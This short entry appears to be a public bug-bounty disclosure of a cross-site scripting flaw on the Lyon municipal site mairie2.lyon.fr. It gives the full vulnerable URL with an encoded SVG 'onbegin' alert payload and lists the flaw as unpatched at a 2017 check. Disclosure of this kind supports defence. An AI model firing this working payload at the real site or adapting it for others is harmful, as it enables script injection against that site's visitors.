mairie2.lyon.fr XSS vulnerability

Vulnerable URL: http://www.mairie2.lyon.fr/cs/Satellite?pagename=WrapperSearchMairie2=RecherchePost=Simple=%27%3E%3CSvg%3E%3CSet+%2FOnbegin%3Dalert%60OPENBUGBOUNTY%60%3E=1&charset=UTF-8 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.09.2017 Vulnerability type:| XSS...